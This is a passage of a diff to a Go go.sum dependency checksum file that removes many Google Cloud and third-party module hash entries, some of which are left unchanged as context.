v1.8.0/go.mod h1:TCET+Y5Gp1YgHT8py4nlg2Sew8nUHMqcpousDgXJVQc= -cloud.google.com/go/scheduler v1.9.0/go.mod h1:yexg5t+KSmqu+njTIh3b7oYPheFtBWGcbVUYF1GGMIc= -cloud.google.com/go/scheduler v1.10.1/go.mod h1:R63Ldltd47Bs4gnhQkmNDse5w8gBRrhObZ54PxgR2Oo= -cloud.google.com/go/secretmanager v1.6.0/go.mod h1:awVa/OXF6IiyaU1wQ34inzQNc4ISIDIrId8qE5QGgKA= -cloud.google.com/go/secretmanager v1.8.0/go.mod h1:hnVgi/bN5MYHd3Gt0SPuTPPp5ENina1/LxM+2W9U9J4= -cloud.google.com/go/secretmanager v1.9.0/go.mod h1:b71qH2l1yHmWQHt9LC80akm86mX8AL6X1MA01dW8ht4= -cloud.google.com/go/secretmanager v1.10.0/go.mod h1:MfnrdvKMPNra9aZtQFvBcvRU54hbPD8/HayQdlUgJpU= -cloud.google.com/go/secretmanager v1.11.1/go.mod h1:znq9JlXgTNdBeQk9TBW/FnR/W4uChEKGeqQWAJ8SXFw= -cloud.google.com/go/security v1.5.0/go.mod h1:lgxGdyOKKjHL4YG3/YwIL2zLqMFCKs0UbQwgyZmfJl4= -cloud.google.com/go/security v1.7.0/go.mod h1:mZklORHl6Bg7CNnnjLH//0UlAlaXqiG7Lb9PsPXLfD0= -cloud.google.com/go/security v1.8.0/go.mod h1:hAQOwgmaHhztFhiQ41CjDODdWP0+AE1B3sX4OFlq+GU= -cloud.google.com/go/security v1.9.0/go.mod h1:6Ta1bO8LXI89nZnmnsZGp9lVoVWXqsVbIq/t9dzI+2Q= -cloud.google.com/go/security v1.10.0/go.mod h1:QtOMZByJVlibUT2h9afNDWRZ1G96gVywH8T5GUSb9IA= -cloud.google.com/go/security v1.12.0/go.mod h1:rV6EhrpbNHrrxqlvW0BWAIawFWq3X90SduMJdFwtLB8= -cloud.google.com/go/security v1.13.0/go.mod h1:Q1Nvxl1PAgmeW0y3HTt54JYIvUdtcpYKVfIB8AOMZ+0= -cloud.google.com/go/security v1.15.1/go.mod h1:MvTnnbsWnehoizHi09zoiZob0iCHVcL4AUBj76h9fXA= -cloud.google.com/go/securitycenter v1.13.0/go.mod h1:cv5qNAqjY84FCN6Y9z28WlkKXyWsgLO832YiWwkCWcU= -cloud.google.com/go/securitycenter v1.14.0/go.mod h1:gZLAhtyKv85n52XYWt6RmeBdydyxfPeTrpToDPw4Auc= -cloud.google.com/go/securitycenter v1.15.0/go.mod h1:PeKJ0t8MoFmmXLXWm41JidyzI3PJjd8sXWaVqg43WWk= -cloud.google.com/go/securitycenter v1.16.0/go.mod h1:Q9GMaLQFUD+5ZTabrbujNWLtSLZIZF7SAR0wWECrjdk= -cloud.google.com/go/securitycenter v1.18.1/go.mod h1:0/25gAzCM/9OL9vVx4ChPeM/+DlfGQJDwBy/UC8AKK0= -cloud.google.com/go/securitycenter v1.19.0/go.mod h1:LVLmSg8ZkkyaNy4u7HCIshAngSQ8EcIRREP3xBnyfag= -cloud.google.com/go/securitycenter v1.23.0/go.mod h1:8pwQ4n+Y9WCWM278R8W3nF65QtY172h4S8aXyI9/hsQ= -cloud.google.com/go/servicecontrol v1.4.0/go.mod h1:o0hUSJ1TXJAmi/7fLJAedOovnujSEvjKCAFNXPQ1RaU= -cloud.google.com/go/servicecontrol v1.5.0/go.mod h1:qM0CnXHhyqKVuiZnGKrIurvVImCs8gmqWsDoqe9sU1s= -cloud.google.com/go/servicecontrol v1.10.0/go.mod h1:pQvyvSRh7YzUF2efw7H87V92mxU8FnFDawMClGCNuAA= -cloud.google.com/go/servicecontrol v1.11.0/go.mod h1:kFmTzYzTUIuZs0ycVqRHNaNhgR+UMUpw9n02l/pY+mc= -cloud.google.com/go/servicecontrol v1.11.1/go.mod h1:aSnNNlwEFBY+PWGQ2DoM0JJ/QUXqV5/ZD9DOLB7SnUk= -cloud.google.com/go/servicedirectory v1.4.0/go.mod h1:gH1MUaZCgtP7qQiI+F+A+OpeKF/HQWgtAddhTbhL2bs= -cloud.google.com/go/servicedirectory v1.5.0/go.mod h1:QMKFL0NUySbpZJ1UZs3oFAmdvVxhhxB6eJ/Vlp73dfg= -cloud.google.com/go/servicedirectory v1.6.0/go.mod h1:pUlbnWsLH9c13yGkxCmfumWEPjsRs1RlmJ4pqiNjVL4= -cloud.google.com/go/servicedirectory v1.7.0/go.mod h1:5p/U5oyvgYGYejufvxhgwjL8UVXjkuw7q5XcG10wx1U= -cloud.google.com/go/servicedirectory v1.8.0/go.mod h1:srXodfhY1GFIPvltunswqXpVxFPpZjf8nkKQT7XcXaY= -cloud.google.com/go/servicedirectory v1.9.0/go.mod h1:29je5JjiygNYlmsGz8k6o+OZ8vd4f//bQLtvzkPPT/s= -cloud.google.com/go/servicedirectory v1.10.1/go.mod h1:Xv0YVH8s4pVOwfM/1eMTl0XJ6bzIOSLDt8f8eLaGOxQ= -cloud.google.com/go/servicedirectory v1.11.0/go.mod h1:Xv0YVH8s4pVOwfM/1eMTl0XJ6bzIOSLDt8f8eLaGOxQ= -cloud.google.com/go/servicemanagement v1.4.0/go.mod h1:d8t8MDbezI7Z2R1O/wu8oTggo3BI2GKYbdG4y/SJTco= -cloud.google.com/go/servicemanagement v1.5.0/go.mod h1:XGaCRe57kfqu4+lRxaFEAuqmjzF0r+gWHjWqKqBvKFo= -cloud.google.com/go/servicemanagement v1.6.0/go.mod h1:aWns7EeeCOtGEX4OvZUWCCJONRZeFKiptqKf1D0l/Jc= -cloud.google.com/go/servicemanagement v1.8.0/go.mod h1:MSS2TDlIEQD/fzsSGfCdJItQveu9NXnUniTrq/L8LK4= -cloud.google.com/go/serviceusage v1.3.0/go.mod h1:Hya1cozXM4SeSKTAgGXgj97GlqUvF5JaoXacR1JTP/E= -cloud.google.com/go/serviceusage v1.4.0/go.mod h1:SB4yxXSaYVuUBYUml6qklyONXNLt83U0Rb+CXyhjEeU= -cloud.google.com/go/serviceusage v1.5.0/go.mod h1:w8U1JvqUqwJNPEOTQjrMHkw3IaIFLoLsPLvsE3xueec= -cloud.google.com/go/serviceusage v1.6.0/go.mod h1:R5wwQcbOWsyuOfbP9tGdAnCAc6B9DRwPG1xtWMDeuPA= -cloud.google.com/go/shell v1.3.0/go.mod h1:VZ9HmRjZBsjLGXusm7K5Q5lzzByZmJHf1d0IWHEN5X4= -cloud.google.com/go/shell v1.4.0/go.mod h1:HDxPzZf3GkDdhExzD/gs8Grqk+dmYcEjGShZgYa9URw= -cloud.google.com/go/shell v1.6.0/go.mod h1:oHO8QACS90luWgxP3N9iZVuEiSF84zNyLytb+qE2f9A= -cloud.google.com/go/shell v1.7.1/go.mod h1:u1RaM+huXFaTojTbW4g9P5emOrrmLE69KrxqQahKn4g= -cloud.google.com/go/spanner v1.41.0/go.mod h1:MLYDBJR/dY4Wt7ZaMIQ7rXOTLjYrmxLE/5ve9vFfWos= -cloud.google.com/go/spanner v1.44.0/go.mod h1:G8XIgYdOK+Fbcpbs7p2fiprDw4CaZX63whnSMLVBxjk= -cloud.google.com/go/spanner v1.45.0/go.mod h1:FIws5LowYz8YAE1J8fOS7DJup8ff7xJeetWEo5REA2M= -cloud.google.com/go/spanner v1.47.0/go.mod h1:IXsJwVW2j4UKs0eYDqodab6HgGuA1bViSqW4uH9lfUI= -cloud.google.com/go/speech v1.6.0/go.mod h1:79tcr4FHCimOp56lwC01xnt/WPJZc4v3gzyT7FoBkCM= -cloud.google.com/go/speech v1.7.0/go.mod h1:KptqL+BAQIhMsj1kOP2la5DSEEerPDuOP/2mmkhHhZQ= -cloud.google.com/go/speech v1.8.0/go.mod h1:9bYIl1/tjsAnMgKGHKmBZzXKEkGgtU+MpdDPTE9f7y0= -cloud.google.com/go/speech v1.9.0/go.mod h1:xQ0jTcmnRFFM2RfX/U+rk6FQNUF6DQlydUSyoooSpco= -cloud.google.com/go/speech v1.14.1/go.mod h1:gEosVRPJ9waG7zqqnsHpYTOoAS4KouMRLDFMekpJ0J0= -cloud.google.com/go/speech v1.15.0/go.mod h1:y6oH7GhqCaZANH7+Oe0BhgIogsNInLlz542tg3VqeYI= -cloud.google.com/go/speech v1.17.1/go.mod h1:8rVNzU43tQvxDaGvqOhpDqgkJTFowBpDvCJ14kGlJYo= -cloud.google.com/go/speech v1.19.0/go.mod h1:8rVNzU43tQvxDaGvqOhpDqgkJTFowBpDvCJ14kGlJYo= cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= -cloud.google.com/go/storage v1.22.1/go.mod h1:S8N1cAStu7BOeFfE8KAQzmyyLkK8p/vmRq6kuBTW58Y= -cloud.google.com/go/storage v1.23.0/go.mod h1:vOEEDNFnciUMhBeT6hsJIn3ieU5cFRmzeLgDvXzfIXc= -cloud.google.com/go/storage v1.27.0/go.mod h1:x9DOL8TK/ygDUMieqwfhdpQryTeEkhGKMi80i/iqR2s= -cloud.google.com/go/storage v1.28.1/go.mod h1:Qnisd4CqDdo6BGs2AD5LLnEsmSQ80wQ5ogcBBKhU86Y= -cloud.google.com/go/storage v1.29.0/go.mod h1:4puEjyTKnku6gfKoTfNOU/W+a9JyuVNxjpS5GBrB8h4= -cloud.google.com/go/storage v1.30.1/go.mod h1:NfxhC0UJE1aXSx7CIIbCf7y9HKT7BiccwkR7+P7gN8E= -cloud.google.com/go/storagetransfer v1.5.0/go.mod h1:dxNzUopWy7RQevYFHewchb29POFv3/AaBgnhqzqiK0w= -cloud.google.com/go/storagetransfer v1.6.0/go.mod h1:y77xm4CQV/ZhFZH75PLEXY0ROiS7Gh6pSKrM8dJyg6I= -cloud.google.com/go/storagetransfer v1.7.0/go.mod h1:8Giuj1QNb1kfLAiWM1bN6dHzfdlDAVC9rv9abHot2W4= -cloud.google.com/go/storagetransfer v1.8.0/go.mod h1:JpegsHHU1eXg7lMHkvf+KE5XDJ7EQu0GwNJbbVGanEw= -cloud.google.com/go/storagetransfer v1.10.0/go.mod h1:DM4sTlSmGiNczmV6iZyceIh2dbs+7z2Ayg6YAiQlYfA= -cloud.google.com/go/talent v1.1.0/go.mod h1:Vl4pt9jiHKvOgF9KoZo6Kob9oV4lwd/ZD5Cto54zDRw= -cloud.google.com/go/talent v1.2.0/go.mod h1:MoNF9bhFQbiJ6eFD3uSsg0uBALw4n4gaCaEjBw9zo8g= -cloud.google.com/go/talent v1.3.0/go.mod h1:CmcxwJ/PKfRgd1pBjQgU6W3YBwiewmUzQYH5HHmSCmM= -cloud.google.com/go/talent v1.4.0/go.mod h1:ezFtAgVuRf8jRsvyE6EwmbTK5LKciD4KVnHuDEFmOOA= -cloud.google.com/go/talent v1.5.0/go.mod h1:G+ODMj9bsasAEJkQSzO2uHQWXHHXUomArjWQQYkqK6c= -cloud.google.com/go/talent v1.6.2/go.mod h1:CbGvmKCG61mkdjcqTcLOkb2ZN1SrQI8MDyma2l7VD24= -cloud.google.com/go/texttospeech v1.4.0/go.mod h1:FX8HQHA6sEpJ7rCMSfXuzBcysDAuWusNNNvN9FELDd8= -cloud.google.com/go/texttospeech v1.5.0/go.mod h1:oKPLhR4n4ZdQqWKURdwxMy0uiTS1xU161C8W57Wkea4= -cloud.google.com/go/texttospeech v1.6.0/go.mod h1:YmwmFT8pj1aBblQOI3TfKmwibnsfvhIBzPXcW4EBovc= -cloud.google.com/go/texttospeech v1.7.1/go.mod h1:m7QfG5IXxeneGqTapXNxv2ItxP/FS0hCZBwXYqucgSk= -cloud.google.com/go/tpu v1.3.0/go.mod h1:aJIManG0o20tfDQlRIej44FcwGGl/cD0oiRyMKG19IQ= -cloud.google.com/go/tpu v1.4.0/go.mod h1:mjZaX8p0VBgllCzF6wcU2ovUXN9TONFLd7iz227X2Xg= -cloud.google.com/go/tpu v1.5.0/go.mod h1:8zVo1rYDFuW2l4yZVY0R0fb/v44xLh3llq7RuV61fPM= -cloud.google.com/go/tpu v1.6.1/go.mod h1:sOdcHVIgDEEOKuqUoi6Fq53MKHJAtOwtz0GuKsWSH3E= -cloud.google.com/go/trace v1.3.0/go.mod h1:FFUE83d9Ca57C+K8rDl/Ih8LwOzWIV1krKgxg6N0G28= -cloud.google.com/go/trace v1.4.0/go.mod h1:UG0v8UBqzusp+z63o7FK74SdFE+AXpCLdFb1rshXG+Y= -cloud.google.com/go/trace v1.8.0/go.mod h1:zH7vcsbAhklH8hWFig58HvxcxyQbaIqMarMg9hn5ECA= -cloud.google.com/go/trace v1.9.0/go.mod h1:lOQqpE5IaWY0Ixg7/r2SjixMuc6lfTFeO4QGM4dQWOk= -cloud.google.com/go/trace v1.10.1/go.mod h1:gbtL94KE5AJLH3y+WVpfWILmqgc6dXcqgNXdOPAQTYk= -cloud.google.com/go/translate v1.3.0/go.mod h1:gzMUwRjvOqj5i69y/LYLd8RrNQk+hOmIXTi9+nb3Djs= -cloud.google.com/go/translate v1.4.0/go.mod h1:06Dn/ppvLD6WvA5Rhdp029IX2Mi3Mn7fpMRLPvXT5Wg= -cloud.google.com/go/translate v1.5.0/go.mod h1:29YDSYveqqpA1CQFD7NQuP49xymq17RXNaUDdc0mNu0= -cloud.google.com/go/translate v1.6.0/go.mod h1:lMGRudH1pu7I3n3PETiOB2507gf3HnfLV8qlkHZEyos= -cloud.google.com/go/translate v1.7.0/go.mod h1:lMGRudH1pu7I3n3PETiOB2507gf3HnfLV8qlkHZEyos= -cloud.google.com/go/translate v1.8.1/go.mod h1:d1ZH5aaOA0CNhWeXeC8ujd4tdCFw8XoNWRljklu5RHs= -cloud.google.com/go/translate v1.8.2/go.mod h1:d1ZH5aaOA0CNhWeXeC8ujd4tdCFw8XoNWRljklu5RHs= -cloud.google.com/go/video v1.8.0/go.mod h1:sTzKFc0bUSByE8Yoh8X0mn8bMymItVGPfTuUBUyRgxk= -cloud.google.com/go/video v1.9.0/go.mod h1:0RhNKFRF5v92f8dQt0yhaHrEuH95m068JYOvLZYnJSw= -cloud.google.com/go/video v1.12.0/go.mod h1:MLQew95eTuaNDEGriQdcYn0dTwf9oWiA4uYebxM5kdg= -cloud.google.com/go/video v1.13.0/go.mod h1:ulzkYlYgCp15N2AokzKjy7MQ9ejuynOJdf1tR5lGthk= -cloud.google.com/go/video v1.14.0/go.mod h1:SkgaXwT+lIIAKqWAJfktHT/RbgjSuY6DobxEp0C5yTQ= -cloud.google.com/go/video v1.15.0/go.mod h1:SkgaXwT+lIIAKqWAJfktHT/RbgjSuY6DobxEp0C5yTQ= -cloud.google.com/go/video v1.17.1/go.mod h1:9qmqPqw/Ib2tLqaeHgtakU+l5TcJxCJbhFXM7UJjVzU= -cloud.google.com/go/video v1.19.0/go.mod h1:9qmqPqw/Ib2tLqaeHgtakU+l5TcJxCJbhFXM7UJjVzU= -cloud.google.com/go/videointelligence v1.6.0/go.mod h1:w0DIDlVRKtwPCn/C4iwZIJdvC69yInhW0cfi+p546uU= -cloud.google.com/go/videointelligence v1.7.0/go.mod h1:k8pI/1wAhjznARtVT9U1llUaFNPh7muw8QyOUpavru4= -cloud.google.com/go/videointelligence v1.8.0/go.mod h1:dIcCn4gVDdS7yte/w+koiXn5dWVplOZkE+xwG9FgK+M= -cloud.google.com/go/videointelligence v1.9.0/go.mod h1:29lVRMPDYHikk3v8EdPSaL8Ku+eMzDljjuvRs105XoU= -cloud.google.com/go/videointelligence v1.10.0/go.mod h1:LHZngX1liVtUhZvi2uNS0VQuOzNi2TkY1OakiuoUOjU= -cloud.google.com/go/videointelligence v1.11.1/go.mod h1:76xn/8InyQHarjTWsBR058SmlPCwQjgcvoW0aZykOvo= -cloud.google.com/go/vision v1.2.0/go.mod h1:SmNwgObm5DpFBme2xpyOyasvBc1aPdjvMk2bBk0tKD0= -cloud.google.com/go/vision/v2 v2.2.0/go.mod h1:uCdV4PpN1S0jyCyq8sIM42v2Y6zOLkZs+4R9LrGYwFo= -cloud.google.com/go/vision/v2 v2.3.0/go.mod h1:UO61abBx9QRMFkNBbf1D8B1LXdS2cGiiCRx0vSpZoUo= -cloud.google.com/go/vision/v2 v2.4.0/go.mod h1:VtI579ll9RpVTrdKdkMzckdnwMyX2JILb+MhPqRbPsY= -cloud.google.com/go/vision/v2 v2.5.0/go.mod h1:MmaezXOOE+IWa+cS7OhRRLK2cNv1ZL98zhqFFZaaH2E= -cloud.google.com/go/vision/v2 v2.6.0/go.mod h1:158Hes0MvOS9Z/bDMSFpjwsUrZ5fPrdwuyyvKSGAGMY= -cloud.google.com/go/vision/v2 v2.7.0/go.mod h1:H89VysHy21avemp6xcf9b9JvZHVehWbET0uT/bcuY/0= -cloud.google.com/go/vision/v2 v2.7.2/go.mod h1:jKa8oSYBWhYiXarHPvP4USxYANYUEdEsQrloLjrSwJU= -cloud.google.com/go/vmmigration v1.2.0/go.mod h1:IRf0o7myyWFSmVR1ItrBSFLFD/rJkfDCUTO4vLlJvsE= -cloud.google.com/go/vmmigration v1.3.0/go.mod h1:oGJ6ZgGPQOFdjHuocGcLqX4lc98YQ7Ygq8YQwHh9A7g= -cloud.google.com/go/vmmigration v1.5.0/go.mod h1:E4YQ8q7/4W9gobHjQg4JJSgXXSgY21nA5r8swQV+Xxc= -cloud.google.com/go/vmmigration v1.6.0/go.mod h1:bopQ/g4z+8qXzichC7GW1w2MjbErL54rk3/C843CjfY= -cloud.google.com/go/vmmigration v1.7.1/go.mod h1:WD+5z7a/IpZ5bKK//YmT9E047AD+rjycCAvyMxGJbro= -cloud.google.com/go/vmwareengine v0.1.0/go.mod h1:RsdNEf/8UDvKllXhMz5J40XxDrNJNN4sagiox+OI208= -cloud.google.com/go/vmwareengine v0.2.2/go.mod h1:sKdctNJxb3KLZkE/6Oui94iw/xs9PRNC2wnNLXsHvH8= -cloud.google.com/go/vmwareengine v0.3.0/go.mod h1:wvoyMvNWdIzxMYSpH/R7y2h5h3WFkx6d+1TIsP39WGY= -cloud.google.com/go/vmwareengine v0.4.1/go.mod h1:Px64x+BvjPZwWuc4HdmVhoygcXqEkGHXoa7uyfTgSI0= -cloud.google.com/go/vmwareengine v1.0.0/go.mod h1:Px64x+BvjPZwWuc4HdmVhoygcXqEkGHXoa7uyfTgSI0= -cloud.google.com/go/vpcaccess v1.4.0/go.mod h1:aQHVbTWDYUR1EbTApSVvMq1EnT57ppDmQzZ3imqIk4w= -cloud.google.com/go/vpcaccess v1.5.0/go.mod h1:drmg4HLk9NkZpGfCmZ3Tz0Bwnm2+DKqViEpeEpOq0m8= -cloud.google.com/go/vpcaccess v1.6.0/go.mod h1:wX2ILaNhe7TlVa4vC5xce1bCnqE3AeH27RV31lnmZes= -cloud.google.com/go/vpcaccess v1.7.1/go.mod h1:FogoD46/ZU+JUBX9D606X21EnxiszYi2tArQwLY4SXs= -cloud.google.com/go/webrisk v1.4.0/go.mod h1:Hn8X6Zr+ziE2aNd8SliSDWpEnSS1u4R9+xXZmFiHmGE= -cloud.google.com/go/webrisk v1.5.0/go.mod h1:iPG6fr52Tv7sGk0H6qUFzmL3HHZev1htXuWDEEsqMTg= -cloud.google.com/go/webrisk v1.6.0/go.mod h1:65sW9V9rOosnc9ZY7A7jsy1zoHS5W9IAXv6dGqhMQMc= -cloud.google.com/go/webrisk v1.7.0/go.mod h1:mVMHgEYH0r337nmt1JyLthzMr6YxwN1aAIEc2fTcq7A= -cloud.google.com/go/webrisk v1.8.0/go.mod h1:oJPDuamzHXgUc+b8SiHRcVInZQuybnvEW72PqTc7sSg= -cloud.google.com/go/webrisk v1.9.1/go.mod h1:4GCmXKcOa2BZcZPn6DCEvE7HypmEJcJkr4mtM+sqYPc= -cloud.google.com/go/websecurityscanner v1.3.0/go.mod h1:uImdKm2wyeXQevQJXeh8Uun/Ym1VqworNDlBXQevGMo= -cloud.google.com/go/websecurityscanner v1.4.0/go.mod h1:ebit/Fp0a+FWu5j4JOmJEV8S8CzdTkAS77oDsiSqYWQ= -cloud.google.com/go/websecurityscanner v1.5.0/go.mod h1:Y6xdCPy81yi0SQnDY1xdNTNpfY1oAgXUlcfN3B3eSng= -cloud.google.com/go/websecurityscanner v1.6.1/go.mod h1:Njgaw3rttgRHXzwCB8kgCYqv5/rGpFCsBOvPbYgszpg= -cloud.google.com/go/workflows v1.6.0/go.mod h1:6t9F5h/unJz41YqfBmqSASJSXccBLtD1Vwf+KmJENM0= -cloud.google.com/go/workflows v1.7.0/go.mod h1:JhSrZuVZWuiDfKEFxU0/F1PQjmpnpcoISEXH2bcHC3M= -cloud.google.com/go/workflows v1.8.0/go.mod h1:ysGhmEajwZxGn1OhGOGKsTXc5PyxOc0vfKf5Af+to4M= -cloud.google.com/go/workflows v1.9.0/go.mod h1:ZGkj1aFIOd9c8Gerkjjq7OW7I5+l6cSvT3ujaO/WwSA= -cloud.google.com/go/workflows v1.10.0/go.mod h1:fZ8LmRmZQWacon9UCX1r/g/DfAXx5VcPALq2CxzdePw= -cloud.google.com/go/workflows v1.11.1/go.mod h1:Z+t10G1wF7h8LgdY/EmRcQY8ptBD/nvofaL6FqlET6g= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= -gioui.org v0.0.0-20210308172011-57750fc8a0a6/go.mod h1:RSH6KIUZ0p2xy5zHDxgAM4zumjgTw83q2ge/PI+yyw8= -git.sr.ht/~sbinet/gg v0.3.1/go.mod h1:KGYtlADtqsqANL9ueOFkWymvzUvLMQllU5Ixo+8v3pc= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= -github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ= -github.com/JohnCGriffin/overflow v0.0.0-20211019200055-46fa312c352c/go.mod h1:X0CRv0ky0k6m906ixxpzmDRLvX58TFUKS2eePweuyxk= github.com/Masterminds/goutils v1.1.1 h1:5nUrii3FMTL5diU80unEVvNevw1nH4+ZV4DSLVJLSYI= github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= @@ -772,39 +51,19 @@ github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 h1:1DcvRPZOd github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 h1:52m0LGchQBBVqJRyYYufQuIbVqRawmubW3OFGqK1ekw= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635/go.mod h1:lmLxL+FV291OopO93Bwf9fQLQeLyt33VJRUg5VJ30us= -github.com/ajstarks/deck v0.0.0-20200831202436-30c9fc6549a9/go.mod h1:JynElWSGnm/4RlzPXRlREEwqTHAN3T56Bv2ITsFT3gY= -github.com/ajstarks/deck/generate v0.0.0-20210309230005-c3f852c02e19/go.mod h1:T13YZdzov6OU0A1+RfKZiZN9ca6VeKdBdyDV+BY97Tk= -github.com/ajstarks/svgo v0.0.0-20180226025133-644b8db467af/go.mod h1:K08gAheRH3/J6wwsYMMT4xOr94bZjxIelGM0+d/wbFw= -github.com/ajstarks/svgo v0.0.0-20211024235047-1546f124cd8b/go.mod h1:1KcenG0jGWcpt8ov532z81sp/kMMUG485J2InIOyADM= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= -github.com/andybalholm/brotli v1.0.4/go.mod h1:fO7iG3H7G2nSZ7m0zPUDn85XEX2GTukHGRSepvi9Eig= github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= github.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ= -github.com/apache/arrow/go/v10 v10.0.1/go.mod h1:YvhnlEePVnBS4+0z3fhPfUy7W1Ikj0Ih0vcRo/gZ1M0= -github.com/apache/arrow/go/v11 v11.0.0/go.mod h1:Eg5OsL5H+e299f7u5ssuXsuHQVEGC4xei5aX110hRiI= -github.com/apache/arrow/go/v12 v12.0.0/go.mod h1:d+tV/eHZZ7Dz7RPrFKtPK02tpr+c9/PEd/zm8mDS9Vg= -github.com/apache/thrift v0.16.0/go.mod h1:PHK3hniurgQaNMZYaCLEqXKsYK8upmhPbmdP2FXSqgU= -github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8= -github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= -github.com/armon/go-metrics v0.4.0/go.mod h1:E6amYzXo6aW1tqzoZGT755KkbgrJsSdpwZ+3JqfkOG4= -github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= -github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= -github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= -github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= -github.com/boombuler/barcode v1.0.0/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8= -github.com/boombuler/barcode v1.0.1/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= -github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= -github.com/census-instrumentation/opencensus-proto v0.4.1/go.mod h1:4T9NM4+4Vw91VeyqjLS6ao50K5bOcLKN6Q42XnYaRYw= github.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= @@ -814,23 +73,8 @@ github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XL github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= -github.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod 